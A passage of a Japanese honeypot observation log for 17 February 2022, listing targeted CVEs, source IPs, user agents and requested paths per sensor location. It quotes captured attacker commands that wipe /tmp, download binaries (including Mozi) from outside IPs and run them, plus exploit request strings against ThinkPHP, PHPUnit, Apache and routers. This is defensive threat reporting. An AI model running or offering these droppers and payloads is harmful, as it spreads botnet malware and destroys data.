コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2022/02/17 ハニーポット(仮) 観測記録

ハニーポット(仮) 観測記録 2022/02/17分です。

特徴
共通

D-link製品の脆弱性を狙うアクセス
zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
curlによるスキャン行為
.jsへのスキャン行為
/.awsへのスキャン行為
Laravelへのスキャン行為
WordPress Pluginへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, Worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  http://23.94.7.175/.s4y/arm;
sh /tmp/arm
Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
PHPUnit脆弱性(CVE-2017-9841)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
curlによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
112.124.42.80に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  http://23.94.7.175/.s4y/arm;
sh /tmp/arm
cd /tmp;
rm -rf *;
wget net.joostjansen.ml/jaws;
sh /tmp/jaws
Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
PHPUnit脆弱性(CVE-2017-9841)を狙うアクセス
Anarchy99によるスキャン行為
zgrabによるスキャン行為
.jsへのスキャン行為
/.envへのスキャン行為
WordPressへのスキャン行為
110.242.68.4に関する不正通信
5.188.210.227に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  http://23.94.7.175/.s4y/arm;
sh /tmp/arm
cd /tmp;
rm -rf *;
wget http://120.229.96.255:40129/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Atlassian Jira Server/Data Centerの脆弱性(CVE-2021-26086)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnit脆弱性(CVE-2017-9841)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
Lkx-TraversalHttpPluginによるスキャン行為
l9exploreによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為
WordPressへのスキャン行為
110.242.68.4に関する不正通信
Gh0stRATのような動き

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  136.144.41.60/.s4y/arm7;
sh /tmp/arm7
cd /tmp;
rm -rf *;
wget  http://23.94.7.175/.s4y/arm;
sh /tmp/arm
アクセス数推移

JP:総アクセス数:391 (前日比:246)
US:総アクセス数:205 (前日比:92)
UK:総アクセス数:57 (前日比:-13)
SG:総アクセス数:89 (前日比:-28)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス
1 3.83.117.197 United States
1 3.133.119.244 United States
2 3.145.204.88 United States
2 18.118.4.0 United States
107 18.142.146.216 United States
1 20.97.164.231 United States
1 20.102.48.145 United States
1 20.124.31.135 United States
1 34.78.122.234 United States
1 34.96.130.2 United States
1 35.165.10.34 United States
2 37.120.142.10 Romania
1 45.143.99.69 Turkey
4 47.90.250.31 United States
1 61.219.11.151 Taiwan
2 64.190.94.19 United States
1 96.11.216.106 United States
80 100.24.242.35 United States
1 104.244.78.87 United States
1 104.244.78.190 United States
1 107.189.8.191 United States
132 128.199.143.112 United Kingdom
14 135.125.246.189 France
1 139.162.215.70 Netherlands
2 147.124.216.203 United States
4 157.245.70.127 United States
1 159.223.83.5 United States
1 171.15.4.82 China
1 172.105.77.209 United States
1 175.100.20.202 Cambodia
3 185.254.196.217 Ukraine
4 185.254.196.218 Ukraine
1 192.241.211.162 United States
1 192.241.213.23 United States
1 192.241.214.47 United States
4 198.20.69.98 United States
1 210.235.63.95 Japan
1 221.228.165.31 China
3 222.186.19.207 China
2 222.186.46.200 China

UserAgent一覧

件数 UserAgent
16 -
1 Go-http-client/1.1
1 Hello, World
2 Mozila/5.0
1 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
1 Mozilla/5.0 (Linux; U; Android 2.2.1; en-gb; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
4 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
132 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
80 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.697.0 Safari/534.24
1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.724.100 Safari/534.30
1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.33 (KHTML, like Gecko) Ubuntu/9.10 Chromium/13.0.752.0 Chrome/13.0.752.0 Safari/534.33
32 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
3 Mozilla/5.0 zgrab/0.x
9 Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
4 curl/7.75.0
99 python-requests/2.27.1

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 \x16\x03\x01\x01\xfa\x01
1 \x16\x03\x01\x02
1 \x16\x03\x01
1 dN\x93\xb9\xe6\xbcl\xb6\x92\x84:\xd7\x03\xf1N\xb9\xc5;\x90\xc2\xc6\xba\xe1I-\"\xdds\xba\x1fgC:\xb1\xa7\x80+
1 CONNECT ip[.]ws[.]126[.]net:443 HTTP/1.1
1 GET /.aws/credentials HTTP/1.1
1 GET /.env.bak HTTP/1.1
35 GET /.env HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
5 GET //asdf[.]php HTTP/1.1
5 GET //dashboard/phpinfo.php HTTP/1.1
1 GET //debug/default/view.html HTTP/1.1
5 GET //debug/default/view?panel=config HTTP/1.1
1 GET //debug/default/view HTTP/1.1
1 GET //frontend/web/debug/default/view HTTP/1.1
5 GET //i[.]php HTTP/1.1
5 GET //index[.]php HTTP/1.1
5 GET //info[.]php HTTP/1.1
5 GET //infophp[.]php HTTP/1.1
5 GET //infos[.]php HTTP/1.1
5 GET //linusadmin-phpinfo.php HTTP/1.1
4 GET //old_phpinfo[.]php HTTP/1.1
5 GET //php-info.php HTTP/1.1
5 GET //php[.]php HTTP/1.1
4 GET //php_info[.]php HTTP/1.1
5 GET //phpinfo[.]php HTTP/1.1
5 GET //phpversion[.]php HTTP/1.1
5 GET //pinfo[.]php HTTP/1.1
1 GET //sapi/debug/default/view HTTP/1.1
5 GET //temp[.]php HTTP/1.1
5 GET //test[.]php HTTP/1.1
5 GET //time[.]php HTTP/1.1
1 GET //web/debug/default/view HTTP/1.1
2 GET /2phpmyadmin/index.php?lang=en HTTP/1.1
2 GET /MyAdmin/index.php?lang=en HTTP/1.1
5 GET /PMA2011/index.php?lang=en HTTP/1.1
3 GET /PMA2012/index.php?lang=en HTTP/1.1
1 GET /PMA2014/index.php?lang=en HTTP/1.1
1 GET /PMA2015/index.php?lang=en HTTP/1.1
1 GET /PMA2016/index.php?lang=en HTTP/1.1
3 GET /PMA2018/index.php?lang=en HTTP/1.1
1 GET /PMA2021/index.php?lang=en HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
2 GET /ab2g HTTP/1.1
2 GET /ab2h HTTP/1.1
1 GET /actuator/health HTTP/1.1
2 GET /admin/.env HTTP/1.1
1 GET /admin/ HTTP/1.1
2 GET /admin/db/index.php?lang=en HTTP/1.1
1 GET /admin/pMA/index.php?lang=en HTTP/1.1
2 GET /admin/phpmyadmin/index.php?lang=en HTTP/1.1
4 GET /admin/sqladmin/index.php?lang=en HTTP/1.1
1 GET /admin/sysadmin/index.php?lang=en HTTP/1.1
1 GET /admin/web/index.php?lang=en HTTP/1.1
1 GET /administrator/admin/index.php?lang=en HTTP/1.1
4 GET /administrator/db/index.php?lang=en HTTP/1.1
4 GET /administrator/phpMyAdmin/index.php?lang=en HTTP/1.1
1 GET /administrator/phpmyadmin/index.php?lang=en HTTP/1.1
1 GET /administrator/pma/index.php?lang=en HTTP/1.1
1 GET /administrator/web/index.php?lang=en HTTP/1.1
2 GET /api/.env HTTP/1.1
2 GET /app/.env HTTP/1.1
2 GET /application/.env HTTP/1.1
2 GET /apps/.env HTTP/1.1
2 GET /auth/.env HTTP/1.1
1 GET /aws.yml HTTP/1.1
2 GET /back/.env HTTP/1.1
2 GET /backend/.env HTTP/1.1
2 GET /cli/.env HTTP/1.1
1 GET /config.js HTTP/1.1
2 GET /config/.env HTTP/1.1
1 GET /config/aws.yml HTTP/1.1
2 GET /core/.env HTTP/1.1
2 GET /cp/.env HTTP/1.1
1 GET /db/db-admin/index.php?lang=en HTTP/1.1
2 GET /db/dbadmin/index.php?lang=en HTTP/1.1
2 GET /db/dbweb/index.php?lang=en HTTP/1.1
2 GET /db/index.php?lang=en HTTP/1.1
2 GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1
2 GET /db/phpmyadmin/index.php?lang=en HTTP/1.1
1 GET /db/phpmyadmin3/index.php?lang=en HTTP/1.1
2 GET /db/webadmin/index.php?lang=en HTTP/1.1
1 GET /db/webdb/index.php?lang=en HTTP/1.1
1 GET /dbadmin/index.php?lang=en HTTP/1.1
2 GET /dependencies/.env HTTP/1.1
2 GET /deployment/.env HTTP/1.1
2 GET /dev/.env HTTP/1.1
2 GET /development/.env HTTP/1.1
2 GET /docker/.env HTTP/1.1
2 GET /document/.env HTTP/1.1
2 GET /engine/.env HTTP/1.1
3 GET /favicon.ico HTTP/1.1
2 GET /framework/.env HTTP/1.1
2 GET /frontend/.env HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.html HTTP/1.1
1 GET /info.php HTTP/1.1
2 GET /laravel-artisa/.env HTTP/1.1
2 GET /laravel/.env HTTP/1.1
2 GET /local/.env HTTP/1.1
2 GET /login/.env HTTP/1.1
2 GET /master/.env HTTP/1.1
1 GET /mysql-admin/index.php?lang=en HTTP/1.1
2 GET /mysql/admin/index.php?lang=en HTTP/1.1
1 GET /mysql/index.php?lang=en HTTP/1.1
3 GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1
1 GET /mysql/pma/index.php?lang=en HTTP/1.1
1 GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1
1 GET /mysql/web/index.php?lang=en HTTP/1.1
1 GET /mysqladmin/index.php?lang=en HTTP/1.1
2 GET /personal/.env HTTP/1.1
1 GET /php-my-admin/index.php?lang=en HTTP/1.1
1 GET /php-myadmin/index.php?lang=en HTTP/1.1
3 GET /phpMyAdmin-4.9.7-english/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-4/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin-5.1.1-english/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin-5.1.1/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin1/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin2/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin3/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin5/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin_/index.php?lang=en HTTP/1.1
1 GET /phpMyadmin/index.php?lang=en HTTP/1.1
1 GET /phpinfo.php HTTP/1.1
1 GET /phpinfo HTTP/1.1
1 GET /phpmy/index.php?lang=en HTTP/1.1
2 GET /phpmyAdmin/index.php?lang=en HTTP/1.1
3 GET /phpmyadmin1/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2012/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2013/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2014/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2016/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2017/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2018/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2020/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin3/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin5/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin_/index.php?lang=en HTTP/1.1
2 GET /phppma/index.php?lang=en HTTP/1.1
2 GET /pma/index.php?lang=en HTTP/1.1
1 GET /pma2011/index.php?lang=en HTTP/1.1
1 GET /pma2013/index.php?lang=en HTTP/1.1
1 GET /pma2018/index.php?lang=en HTTP/1.1
1 GET /portal/redlion HTTP/1.1
2 GET /private/.env HTTP/1.1
3 GET /program/index.php?lang=en HTTP/1.1
2 GET /project/.env HTTP/1.1
2 GET /protected/.env HTTP/1.1
2 GET /rest/.env HTTP/1.1
3 GET /robots.txt HTTP/1.1
2 GET /search/.env HTTP/1.1
2 GET /server/.env HTTP/1.1
2 GET /shared/.env HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+ http[:]//23[.]94[.]7[.]175/.s4y/arm;sh+/tmp/arm
1 GET /shopdb/index.php?lang=en HTTP/1.1
2 GET /site/.env HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
2 GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1
2 GET /sql/phpmanager/index.php?lang=en HTTP/1.1
1 GET /sql/phpmy-admin/index.php?lang=en HTTP/1.1
2 GET /sql/phpmyadmin5/index.php?lang=en HTTP/1.1
1 GET /sql/sql-admin/index.php?lang=en HTTP/1.1
1 GET /sql/sql/index.php?lang=en HTTP/1.1
1 GET /sql/sqlweb/index.php?lang=en HTTP/1.1
1 GET /sql/webadmin/index.php?lang=en HTTP/1.1
3 GET /sql/webdb/index.php?lang=en HTTP/1.1
2 GET /src/.env HTTP/1.1
2 GET /system/.env HTTP/1.1
2 GET /vod_installer/.env HTTP/1.1
2 GET /vue/.env HTTP/1.1
2 GET /web/.env HTTP/1.1
1 GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1
4 GET http[:]//ip[.]ws[.]126[.]net/ipquery HTTP/1.1
1 HEAD / HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
1 POST /Api/Session HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
2 POST /HNAP1/ HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /boaform/admin/formLogin HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス
1 3.133.119.244 United States
133 5.147.21.251 Germany
1 34.77.162.31 United States
1 34.78.94.11 United States
1 35.88.225.146 United States
1 35.205.149.104 United States
12 45.146.165.37 Russia
1 45.180.150.22 Brazil
8 47.90.250.31 United States
6 51.79.29.48 Canada
1 60.191.125.35 China
1 61.219.11.151 Taiwan
1 62.171.149.200 Germany
4 71.6.199.23 United States
1 82.166.252.133 Israel
3 87.251.64.136 Russia
2 94.232.43.63 Russia
1 104.208.99.219 United States
2 104.244.78.190 United States
4 111.13.63.88 China
1 138.91.88.70 United States
2 157.245.70.127 United States
1 162.142.125.10 United States
1 162.142.125.220 United States
1 167.94.145.58 United States
1 167.248.133.117 United States
1 172.105.77.209 United States
1 177.144.138.227 Brazil
1 179.182.135.100 Brazil
1 185.180.143.79 Portugal
1 185.202.87.241 Romania
1 192.53.170.163 United States
1 192.241.212.218 United States
1 192.241.212.220 United States
1 192.241.213.58 United States
1 194.12.87.168 Ukraine
1 207.244.254.155 United States
1 209.17.96.82 United States
1 211.37.67.142 South Korea

UserAgent一覧

件数 UserAgent
27 -
1 Hello, world
3 Mozila/5.0
2 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
12 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
132 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
10 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
4 Mozilla/5.0 (compatible;)
1 Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148
3 Mozilla/5.0 zgrab/0.x
4 SonyEricssonW810i/R4EA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0
2 curl/7.75.0

リクエスト内容一覧

件数 Method Request Protocol
2 -
5 \x03
2 \x16\x03\x01\x02
2 \x16\x03\x01
1 dN\x93\xb9\xe6\xbcl\xb6\x92\x84:\xd7\x03\xf1N\xb9\xc5;\x90\xc2\xc6\xba\xe1I-\"\xdds\xba\x1fgC:\xb1\xa7\x80+
11 GET /.env HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET //.well-known/security.txt HTTP/1.1
1 GET //robots[.]txt HTTP/1.1
1 GET //sitemap[.]xml HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /HNAP1 HTTP/1.1
2 GET /MyAdmin/index.php?lang=en HTTP/1.1
1 GET /PMA2011/index.php?lang=en HTTP/1.1
1 GET /PMA2012/index.php?lang=en HTTP/1.1
1 GET /PMA2014/index.php?lang=en HTTP/1.1
1 GET /PMA2015/index.php?lang=en HTTP/1.1
2 GET /PMA2016/index.php?lang=en HTTP/1.1
1 GET /PMA2017/index.php?lang=en HTTP/1.1
1 GET /PMA2018/index.php?lang=en HTTP/1.1
3 GET /PMA2019/index.php?lang=en HTTP/1.1
1 GET /PMA2020/index.php?lang=en HTTP/1.1
2 GET /_phpMyAdmin/index.php?lang=en HTTP/1.1
1 GET /_phpmyadmin/index.php?lang=en HTTP/1.1
1 GET /ab2g HTTP/1.1
1 GET /ab2h HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /admin/ HTTP/1.1
3 GET /admin/db/index.php?lang=en HTTP/1.1
2 GET /admin/phpMyAdmin/index.php?lang=en HTTP/1.1
3 GET /admin/phpmyadmin/index.php?lang=en HTTP/1.1
1 GET /admin/sysadmin/index.php?lang=en HTTP/1.1
1 GET /admin/web/index.php?lang=en HTTP/1.1
1 GET /administrator/db/index.php?lang=en HTTP/1.1
1 GET /administrator/phpmyadmin/index.php?lang=en HTTP/1.1
3 GET /administrator/web/index.php?lang=en HTTP/1.1
1 GET /console/ HTTP/1.1
2 GET /db/db-admin/index.php?lang=en HTTP/1.1
2 GET /db/myadmin/index.php?lang=en HTTP/1.1
2 GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1
1 GET /db/phpMyAdmin3/index.php?lang=en HTTP/1.1
1 GET /db/phpmyadmin/index.php?lang=en HTTP/1.1
1 GET /db/phpmyadmin3/index.php?lang=en HTTP/1.1
1 GET /db/webadmin/index.php?lang=en HTTP/1.1
1 GET /db/websql/index.php?lang=en HTTP/1.1
1 GET /evox/about HTTP/1.1
3 GET /favicon.ico HTTP/1.1
1 GET /hudson HTTP/1.1
2 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /mysql/admin/index.php?lang=en HTTP/1.1
2 GET /mysql/db/index.php?lang=en HTTP/1.1
1 GET /mysql/dbadmin/index.php?lang=en HTTP/1.1
4 GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1
1 GET /mysql/pma/index.php?lang=en HTTP/1.1
1 GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1
1 GET /mysql/web/index.php?lang=en HTTP/1.1
1 GET /mysqladmin/index.php?lang=en HTTP/1.1
3 GET /php-my-admin/index.php?lang=en HTTP/1.1
1 GET /php-myadmin/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-3/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-5.1.0-english/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin-5.1.0/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-5.1.1-english/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin-5.1.1/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin-5/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin1/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin3/index.php?lang=en HTTP/1.1
3 GET /phpMyAdmin4/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin5/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin_/index.php?lang=en HTTP/1.1
1 GET /phpMyadmin/index.php?lang=en HTTP/1.1
1 GET /phpmy-admin/index.php?lang=en HTTP/1.1
1 GET /phpmyAdmin/index.php?lang=en HTTP/1.1
3 GET /phpmyadmin/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2013/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2015/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2017/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2019/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin3/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin4/index.php?lang=en HTTP/1.1
3 GET /phpmyadmin5/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin_/index.php?lang=en HTTP/1.1
1 GET /phppma/index.php?lang=en HTTP/1.1
2 GET /pma/index.php?lang=en HTTP/1.1
2 GET /pma2012/index.php?lang=en HTTP/1.1
2 GET /pma2014/index.php?lang=en HTTP/1.1
1 GET /pma2017/index.php?lang=en HTTP/1.1
2 GET /pma2018/index.php?lang=en HTTP/1.1
3 GET /pma2019/index.php?lang=en HTTP/1.1
1 GET /pma2020/index.php?lang=en HTTP/1.1
2 GET /pma2021/index.php?lang=en HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /program/index.php?lang=en HTTP/1.1
2 GET /robots.txt HTTP/1.1
6 GET /shell?cd+/tmp;rm+-rf+*;wget+ http[:]//23[.]94[.]7[.]175/.s4y/arm;sh+/tmp/arm
1 GET /shell?cd+/tmp;rm+-rf+*;wget+net[.]joostjansen[.]ml/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /shopdb/index.php?lang=en HTTP/1.1
1 GET /showLogin.cc HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /sql/myadmin/index.php?lang=en HTTP/1.1
1 GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1
1 GET /sql/phpmanager/index.php?lang=en HTTP/1.1
3 GET /sql/phpmyadmin3/index.php?lang=en HTTP/1.1
1 GET /sql/phpmyadmin5/index.php?lang=en HTTP/1.1
2 GET /sql/sql/index.php?lang=en HTTP/1.1
1 GET /sql/sqlweb/index.php?lang=en HTTP/1.1
2 GET /sql/webadmin/index.php?lang=en HTTP/1.1
1 GET /sql/webdb/index.php?lang=en HTTP/1.1
3 GET /sql/websql/index.php?lang=en HTTP/1.1
3 GET /sqlmanager/index.php?lang=en HTTP/1.1
1 GET /text4041645000051 HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 HEAD http[:]//112[.]124[.]42[.]80:63435/ HTTP/1.1
2 POST /Api/Session HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
3 POST /HNAP1/ HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /sdk HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
4 PRI * HTTP/2.0
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス
1 5.188.210.227 Russia
1 20.188.111.10 United States
1 23.95.100.141 United States
1 34.78.91.208 United States
1 36.5.70.38 China
2 37.120.142.10 Romania
4 45.137.21.134 Bangladesh
5 45.146.165.37 Russia
1 58.19.12.46 China
1 58.19.15.208 China
1 61.219.11.151 Taiwan
14 103.156.91.51 Vietnam
1 104.244.78.87 United States
1 104.244.78.190 United States
1 107.189.8.191 United States
1 110.177.179.72 China
1 112.66.108.152 China
1 113.57.35.205 China
1 120.229.96.255 China
1 123.145.19.58 China
1 150.255.91.206 China
1 167.248.133.45 United States
1 171.12.10.80 China
1 172.105.189.111 United States
1 175.152.111.73 China
1 179.51.149.3 Brazil
1 185.220.101.43 Germany
1 192.241.206.109 United States
1 192.241.207.152 United States
1 197.244.73.62 Tunisia
1 209.17.96.2 United States
1 219.157.222.35 China
1 220.250.63.204 China
3 222.186.19.207 China

UserAgent一覧

件数 UserAgent
7 -
1 Anarchy99
1 Go-http-client/1.1
1 Hello, world
2 Mozila/5.0
1 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
2 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
6 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
5 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
14 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/11.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
4 Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X; en-US) AppleWebKit/531.5.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B116 Safari/6531.5.2
2 Mozilla/5.0 zgrab/0.x
1 Mozilla/5.01688858 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36
4 PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3

リクエスト内容一覧

件数 Method Request Protocol
1 \x16\x03\x01
1 dN\x93\xb9\xe6\xbcl\xb6\x92\x84:\xd7\x03\xf1N\xb9\xc5;\x90\xc2\xc6\xba\xe1I-\"\xdds\xba\x1fgC:\xb1\xa7\x80+
